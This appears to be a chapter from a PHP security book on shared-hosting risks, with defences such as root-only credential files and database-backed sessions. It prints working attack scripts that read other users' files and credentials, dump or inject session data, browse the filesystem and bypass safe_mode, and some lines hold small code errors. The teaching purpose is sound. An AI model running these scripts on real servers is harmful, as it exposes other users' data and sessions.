It is impossible to achieve a high level of security in a shared hosting environment. However, with some careful planning, you can avoid common mistakes and protect yourself from the most frequent attacks. While some practices require cooperation from your hosting service provider, there are others that you can employ yourself.
This chapter covers the primary risks associated with shared hosting. Although the same safeguards can be used to protect against many of these attacks, it helps to see each one demonstrated in order to appreciate the scope of the problem.
Because this book focuses on application security rather than infrastructure security, I do not discuss techniques that can be used to strengthen the security of the hosting environment. If you are a hosting service provider and need more information about infrastructure security, I recommend the following resources:
Apache Security, by Ivan Ristic (O’Reilly)
Many examples in this chapter demonstrate attacks rather than safeguards. As such, they have intentional vulnerabilities.
To strengthen your understanding of the topics presented in this chapter, I highly recommend experimenting with the examples.
Your web server must be able to read your source code in order to execute it, and this means that anyone else who can write code that your web server executes can also read your source code. On a shared host, this is a significant risk because the web server is shared, and a simple PHP script written by another developer on your server can read arbitrary files:
<?php
header('Content-Type: text/plain');
readfile($_GET['file']);
?>With this script running on the same server as your source code, an attacker can view any file that the web server can read by indicating the full path and filename as the value of file. For example, assuming this script is named file.php and hosted at example.org, a file such as /path/to/source.php can be exposed simply by visiting:
| http://example.org/file.php?file=/path/to/source.php |
Of course, the attacker must know the location of your source code for this simple script to be useful, but more sophisticated scripts can be written to allow an attacker to conveniently browse the filesystem. An example of such a script is given later in this chapter.
There is no perfect solution to this problem. As described in Chapter 5, you should consider all source code stored within document root to be public. On a shared host, you should consider all of your source code to be public, even the code that you store outside of document root.
A best practice is to store all sensitive data in a database. This adds a layer of complexity to some scripts, but it is the safest approach for protecting your sensitive data from exposure. Unfortunately, one problem still remains. Where can you safely store your database access credentials?
Consider a file named db.inc that is stored outside of document root:
<?php
$db_user = 'myuser';
$db_pass = 'mypass';
$db_host = 'localhost';
$db = mysql_connect($db_host, $db_user, $db_pass);
?>If the path to this file is known (or guessed), another user on your server can potentially access it, obtain your database access credentials, and gain access to your database, including all of the sensitive data that you are storing there.
The best solution to this particular problem is to keep your database access credentials in a file that only root can read and that adheres to the following format:
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"SetEnv is an Apache directive, and the format of this file instructs Apache to create environment variables for your database username and password. Of course, the key to this technique is that only the root user can read the file. If you do not have access to the root user, you can restrict read privileges to yourself only, and this offers similar protection:
$chmod 600 db.conf$ls db.conf-rw------- 1 chris chris 48 May 21 12:34 db.conf
This effectively prevents a malicious script from accessing your database access credentials, so you can store sensitive data in the database without a significant risk of it being compromised.
For this file to be useful to you, you need to be able to access this data from PHP. To do this, httpd.conf needs to include this file as follows:
Include "/path/to/db.conf"
Be sure this Include directive is within your VirtualHost block; otherwise, other users can access the same variables.
Because Apache’s parent process runs as root (this is required for a process to bind to port 80), it can read this configuration file, but child processes that serve requests (and execute PHP scripts) cannot.
You can access these variables in the $_SERVER superglobal array, so db.inc can reference $_SERVER variables instead of revealing the database access credentials:
<?php
$db_user = $_SERVER['DB_USER'];
$db_pass = $_SERVER['DB_PASS'];
$db_host = 'localhost';
$db = mysql_connect($db_host, $db_user, $db_pass);
?>If this file is exposed, the database access credentials are not revealed. This offers a significant increase in security on a shared host, and it is also a valuable Defense in Depth technique on a dedicated host.
Be mindful of the fact that the database access credentials are in the $_SERVER superglobal array when you employ this technique. Prevent public access to the output of phpinfo() or anything else that exposes data in $_SERVER.
Of course, you can use this technique to protect any information (not just your database access credentials), but I find it more convenient to keep most data in the database, especially because this technique requires some cooperation from your hosting service provider.
Even when you take care to protect your source code, your session data might be at risk. By default, PHP stores session data in /tmp. This is convenient for a number of reasons, one of which is the fact that /tmp is writable by all users, so Apache has permission to write session data there. While other users can’t read these session files directly from the shell, they can write a simple script that can do the reading for them:
<?php
header('Content-Type: text/plain');
session_start();
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read())
{
if (substr($filename, 0, 5) == 'sess_')
{
$data = file_get_contents("$path/$filename");
if (!empty($data))
{
session_decode($data);
$session = $_SESSION;
$_SESSION = array();
echo "Session [" . substr($filename, 5) . "]\n";
print_r($session);
echo "\n--\n\n";
}
}
}
?>This script searches session.save_path for files that begin with sess_. When such a file is found, the contents are parsed and displayed with print_r(). This makes it easy for another developer to view the session data of your users.
The best solution to this particular problem is to store your session data in a database protected with a username and password. Because access to a database is controlled, this adds an extra layer of protection. By applying the technique discussed in the previous section, the database can be used as a safehaven for your sensitive data, although you should remain alert to the fact that the security of your database becomes even more important.
To store session data in the database, you first need to create a table for it:
CREATE TABLE sessions
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);If you are using MySQL, DESCRIBE sessions provides this visual representation:
mysql> DESCRIBE sessions;
+--------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------------------+------+-----+---------+-------+
| id | varchar(32) | | PRI | | |
| access | int(10) unsigned | YES | | NULL | |
| data | text | YES | | NULL | |
+--------+------------------+------+-----+---------+-------+To have session data stored in this table, you need to modify PHP’s native session mechanism with the session_set_save_handler() function:
<?php
session_set_save_handler('_open',
'_close',
'_read',
'_write',
'_destroy',
'_clean');
?>Each of these six arguments is the name of a function that you must write. These functions handle the following tasks:
Open the session data store.
Close the session data store.
Read session data.
Write session data.
Destroy session data.
Clean out stale session data.
I have used descriptive names deliberately, so that you can intuit the purpose of each. The names are arbitrary, and you might consider using a leading underscore (as shown here) or some other naming convention to help prevent naming collisions. An example of each function (using MySQL) follows:
<?php
function _open()
{
global $_sess_db;
$db_user = $_SERVER['DB_USER'];
$db_pass = $_SERVER['DB_PASS'];
$db_host = 'localhost';
if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass))
{
return mysql_select_db('sessions', $_sess_db);
}
return FALSE;
}
function _close()
{
global $_sess_db;
return mysql_close($_sess_db);
}
function _read($id)
{
global $_sess_db;
$id = mysql_real_escape_string($id);
$sql = "SELECT data
FROM sessions
WHERE id = '$id'";
if ($result = mysql_query($sql, $_sess_db))
{
if (mysql_num_rows($result))
{
$record = mysql_fetch_assoc($result);
return $record['data'];
}
}
return '';
}
function _write($id, $data)
{
global $_sess_db;
$access = time();
$id = mysql_real_escape_string($id);
$access = mysql_real_escape_string($access);
$data = mysql_real_escape_string($data);
$sql = "REPLACE
INTO sessions
VALUES ('$id', '$access', '$data')";
return mysql_query($sql, $_sess_db);
}
function _destroy($id)
{
global $_sess_db;
$id = mysql_real_escape_string($id);
$sql = "DELETE
FROM sessions
WHERE id = '$id'";
return mysql_query($sql, $_sess_db);
}
function _clean($max)
{
global $_sess_db;
$old = time() - $max;
$old = mysql_real_escape_string($old);
$sql = "DELETE
FROM sessions
WHERE access < '$old'";
return mysql_query($sql, $_sess_db);
}
?>You must call session_set_save_handler() prior to calling session_start(), but you can define the functions themselves anywhere.
The beauty of this approach is that you don’t have to modify your code or the way that you use sessions in any way. $_SESSION still exists and behaves the same, PHP still takes care of generating and propagating the session identifier, and changes made to session configuration directives still apply. All you have to do is call this one function (and create the functions to which it refers), and PHP takes care of the rest.
A similar concern to session exposure is session injection . This type of attack leverages the fact that your web server has write access in addition to read access to the session data store. Therefore, a script can potentially allow other users to add, modify, or delete sessions. The following example displays an HTML form that allows users to conveniently modify existing session data:
<?php
session_start();
?>
<form action="inject.php" method="POST">
<?php
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read())
{
if (substr($filename, 0, 5) == 'sess_')
{
$sess_data = file_get_contents("$path/$filename");
if (!empty($sess_data))
{
session_decode($sess_data);
$sess_data = $_SESSION;
$_SESSION = array();
$sess_name = substr($filename, 5);
$sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
echo "<h1>Session [$sess_name]</h1>";
foreach ($sess_data as $name => $value)
{
$name = htmlentities($name, ENT_QUOTES, 'UTF-8');
$value = htmlentities($value, ENT_QUOTES, 'UTF-8');
echo "<p>
$name:
<input type=\"text\"
name=\"{$sess_name}[{$name}]\"
value=\"$value\" />
</p>";
}
echo '<br />';
}
}
}
$handle->close();
?>
<input type="submit" />
</form>The inject.php script can perform the modifications indicated in the form:
<?php
session_start();
$path = ini_get('session.save_path');
foreach ($_POST as $sess_name => $sess_data)
{
$_SESSION = $sess_data;
$sess_data = session_encode;
file_put_contents("$path/$sess_name", $sess_data);
}
$_SESSION = array();
?>This type of attack is very dangerous. An attacker can modify not only the session data of your users but also her own session data. This is more powerful than session hijacking because an attacker can choose the desired values of all session data, potentially bypassing access restrictions and other security safeguards.
The best solution to this problem is to store session data in a database. See the previous section for more information.
In addition to being able to read arbitrary files on a shared host, an attacker can also create a script that browses the filesystem. This type of script can be used to discover the location of your source code because your most sensitive files are not likely to be stored within document root. An example of such a script follows:
<pre>
<?php
if (isset($_GET['dir']))
{
ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
cat($_GET['file']);
}
else
{
ls('/');
}
function cat($file)
{
echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8'));
}
function ls($dir)
{
$handle = dir($dir);
while ($filename = $handle->read())
{
$size = filesize("$dir$filename");
if (is_dir("$dir$filename"))
{
$type = 'dir';
$filename .= '/';
}
else
{
$type = 'file';
}
if (is_readable("$dir$filename"))
{
$line = str_pad($size, 15);
$line .= "<a href=\"{$_SERVER['PHP_SELF']}";
$line .= "?$type=$dir$filename\">$filename</a>";
}
else
{
$line = str_pad($size, 15);
$line .= $filename;
}
echo "$line\n";
}
$handle->close();
}
?>
</pre>An attacker might first view /etc/passwd or a directory listing of /home to get a list of usernames on the server. It is then trivial to browse a user’s source code within the user’s document root; the location of source code stored outside of the user’s document root is revealed by language constructs such as include and require. For example, consider discovering the following script at /home/victim/public_html/admin.php:
<?php
include '../inc/db.inc';
/* ... */
?>If an attacker manages to view the source of this file, the exact loction of db.inc is discovered, and the attacker can use readfile() to expose the contents, revealing the database access credentials. Thus, the fact that db.inc is stored outside of document root offers subpar protection in this environment.
This particular attack illustrates why you should consider all source code on a shared server to be public, opting to store all sensitive data in a database.
PHP’s safe_mode directive is intended to address some of the concerns described in this chapter. However, addressing these types of problems at the PHP level is architecturally incorrect, as stated in the PHP manual
(http://php.net/features.safe-mode).
When safe mode is enabled, PHP performs an extra check to ensure that a file to be read (or otherwise operated on) has the same owner as the script being executed. While this does cripple many of the examples in this chapter, it does not affect a script written in another programming language. For example, consider the following CGI script written in Bash:
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victim/inc/db.incDoes the Bash interpreter care that the string safe_mode = On exists within the file php.ini? Does it even check? Of course not. The same applies to Perl, Python, and any other language supported by the host. All of the examples in this chapter can be reproduced easily in other programming languages.
Another significant problem with safe mode is that it does not prevent access to files that are owned by the web server. This is because a script can create another script, and the new script will be owned by the web server and therefore allowed to access files that are also owned by the web server:
<?php
$filename = 'file.php';
$script = '<?php
header(\'Content-Type: text/plain\');
readfile($_GET[\'file\']);
?>';
file_put_contents($filename, $script);
?>This script creates the following file:
<?php
header('Content-Type: text/plain');
readfile($_GET['file']);
?>Because the web server creates this file, it is owned by the web server (Apache typically runs as the user nobody):
$ ls file.php
-rw-r--r-- 1 nobody nobody 72 May 21 12:34 file.phpThis script can therefore bypass many of the safeguards that safe mode provides. Even with safe mode enabled, an attacker is able to view things like session data stored in /tmp because these files are owned by the web server (nobody).
PHP’s safe mode does raise the bar, and it can be considered a Defense in Depth mechanism. However, it offers poor protection alone, and it is no substitute for the other safeguards described in this chapter.